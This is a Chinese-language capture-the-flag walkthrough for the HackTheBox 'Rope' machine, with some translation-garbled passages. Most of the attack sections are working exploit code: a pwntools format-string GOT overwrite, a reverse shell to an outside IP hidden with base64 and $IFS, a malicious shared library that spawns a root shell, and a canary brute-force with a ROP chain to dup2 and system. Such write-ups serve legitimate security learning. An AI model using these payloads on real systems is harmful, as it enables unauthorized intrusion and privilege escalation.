我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案。在本文中,我们收集了许多pwn,我们将使用pwntools解决这些问题。我认为这对了解此主题的读者来说将是有用的。开始吧...通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您将与知道信息安全领域知识的人进入专用网络:)侦察
这台机器的IP地址为10.10.10.148,我将其添加到/ etc / hosts中。10.10.10.148 rope.htb
首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。nmap -A rope.htb -p22,9999
主机运行SSH和Web服务器。我们将上网,并会收到授权表格。
当查看目录扫描时,我们得到一个未索引的目录/(http://rope.htb:9999 //)。
在目录/ opt / www中,我们找到了可执行文件-这是我们的Web服务器。
HTTPserver PWN
下载它,并查看checksec具有什么保护。
因此,我们有一个具有所有激活的保护的32位应用程序,即:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
由于我们可以读取服务器上的文件,因此可以读取此可执行文件的流程图。这将为我们提供以下问题的答案:- 程序下载到哪个地址?
- 她在哪个地址加载库?
来做吧。curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
因此,我们有两个地址:0x56558000和f7ddc000。同时,我们获得了所使用的libc库的路径,也下载了它。现在,考虑发现的所有内容,我们将创建一个漏洞利用模板。from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
现在,使用方便的反汇编程序(使用反编译器)打开文件本身进行分析。我将IDA与许多插件结合使用,在坐下来进行深入分析之前,我更喜欢研究可以收集经过验证的插件的所有内容。LazyIDA就是其中之一。对于“扫描格式字符串漏洞”的查询,我们得到一个带有潜在漏洞功能的标牌。
从使用此插件的经验来看,我立即提请注意第二行(其format参数)。我们转到该函数的使用地并对其进行反编译。
并猜测得到证实,该行仅传递给printf函数。让我们找出这个字符串是什么。让我们转到log_access函数的调用位置。
因此,我们对第三个参数感兴趣,该参数将IDA标记为文件。而且,仅通过查看对此变量的交叉引用,我们才能获得所有问题的答案。
因此,这是指向字符串的指针-打开以供读取的文件的名称。由于此变量是执行parse_request()函数的结果,因此该文件已打开以供读取,并且整个程序都是Web服务器,因此我们可以假定这是服务器上请求的页面。curl http://127.0.0.1:9999/qwerty
让我们检查格式字符串漏洞。curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
精细!让我们定义偏移量(输出末尾需要发送多少个p指定符以获得0x41414141-AAAA)。
我们得到53。检查一切正确。curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
我们无法获取本地外壳程序,但是可以执行命令,例如,抛出反向外壳程序:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
但是为了避免任何不舒服的字符,我们将其编码为base64,然后shell调用将如下所示:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
最后,用$ IFS构造替换所有空格。我们获得了执行反向连接所需执行的命令。echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
让我们将其添加到代码中:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
现在回到我们的格式字符串。由于putsf是在printf()之后调用的,因此我们可以将其在GOT中的地址重写为libc中系统函数的地址。多亏了pwntools,这很容易做到。假设您可以使用binary.got ['puts']获取puts函数的相对地址,也可以通过系统:libc.symbols ['system']函数轻松获得。关于格式行和GOT,我在有关pwn的文章中详细介绍过,因此在这里我们仅使用pwntools收集格式行:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
我们收集最终的有效载荷:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
我们连接并发送:p = remote(host,port)
p.send(payload)
p.close()
完整的代码如下所示。
让我们执行代码并进行反向连接。

用户
让我们检查sudo设置以执行没有密码的命令。
而且我们看到您可以代表用户r4j执行读取日志。该应用程序中没有漏洞,也不存在GTFOBins。让我们看看应用程序使用的库。
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
也就是说,我们可以写入这些文件。让我们来编写我们的库。#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
现在编译它。gcc -c -Wall -Werror -fpic liblog.c
并收集图书馆。Gcc -shared -o liblog.so liblog.o
然后,我们将文件上传到主机,覆盖库并执行程序。
因此,我们带走了用户。根
要列出系统,我们使用linpeas。
因此,在localhost上,端口1337正在侦听。
如您所见,我们的用户是adm组的成员。让我们看一下该组可用的文件。
有一个有趣的文件。这是侦听端口的程序。
在这种情况下,该应用程序将以root身份运行。
下载应用程序本身及其使用的libc库。请注意,ASLR在主机上处于活动状态。
检查应用程序具有什么保护。
全部最大化。也就是说,如果我们发现缓冲区溢出,则需要对Canary进行暴力破解(在退出函数以检查缓冲区完整性之前检查的值),并且作为一种利用漏洞的技术,我们将使用ROP(我对此进行了详细介绍)在这里)。让我们使用方便的反编译器在任何反汇编程序中打开程序(我使用IDA Pro)。我们反编译主函数main。
金丝雀的一个例子是变量v10,它在函数的开头设置。让我们看看sub_1267函数负责什么。
因此,在这里我们打开端口进行监听。您可以将其重命名为is_listen();我们走得更远。以下用户定义的函数是sub_14EE。
发送之前,还有另一个用户功能。我们看着她。
因此,在此函数中,最多接收0x400字节的字符串并将其写入缓冲区。对buf变量的注释指示相对于当前堆栈帧的基础地址(rbp)-[rbp-40h],而变量v3(canary)具有相对地址[rbp-8h],因此,对于缓冲区溢出,我们需要更多的[rbp- 8h]-[rbp-40h] = 0x40-8 = 56个字节。因此,该计划如下:- 查找并溢出缓冲区;
- 放下金丝雀,锐步和裂口;
- 由于PIE已激活,因此您需要找到实际的偏移量;
- 查找内存泄漏以计算加载库的地址;
- 收集ROP,其中标准描述符流将被重定向到程序的网络描述符,然后通过系统功能调用/ bin / sh。
1.缓冲区溢出
如下所示,当传输56个字节时,程序继续正常工作,但是传输57个字节时,我们得到一个异常。因此,违反了缓冲区的完整性。
让我们制作一个漏洞利用模板。由于有必要进行大量整理和重新连接,因此我们将禁用pwntools(log_level)消息输出。
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2,金丝雀,RBP,RIP
如我们所知,在缓冲区的56个字节之后,有一个canary,在堆栈之后有RBP和RIP地址,这也需要进行排序。让我们编写一个8字节的匹配函数。def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
因此我们可以编写pre_payload:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.派
现在让我们处理PIE。我们发现了RIP-这是我们从函数返回的返回地址。因此,我们可以从中减去代码中的返回地址。
因此,与基准的偏移量为0x1562。让我们指出正在运行的应用程序的真实地址。base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4.内存泄漏
该应用程序使用标准的write()函数显示提示字符串,该提示字符串包含输出句柄,缓冲区及其大小。我们可以使用这个功能。为了方便起见,让我们使用pwntools的ROP模块。简而言之,下图显示了该方法的工作原理和原因。
让我们泄漏一下,这将使我们知道加载的libc库中写函数的地址。rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5,ROP
让我们更改libc库的基地址,然后找到行/ bin / sh的地址。libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
仍然需要收集ROP,其中标准I / O描述符(0,1,2)将被重定向到程序(4)中注册的描述符。之后将调用系统功能,我们将在其中传递行/ bin / sh的地址。rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6.操作完整的利用代码。
现在,在服务器上,将ssh密钥写入文件/home/r4j/.ssh/authorizef_keys。
并转发端口(确保从本地端口1337的连接通过SSH重定向到远程主机的端口1337)。ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
并启动漏洞利用程序。
我们扎根工作。您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。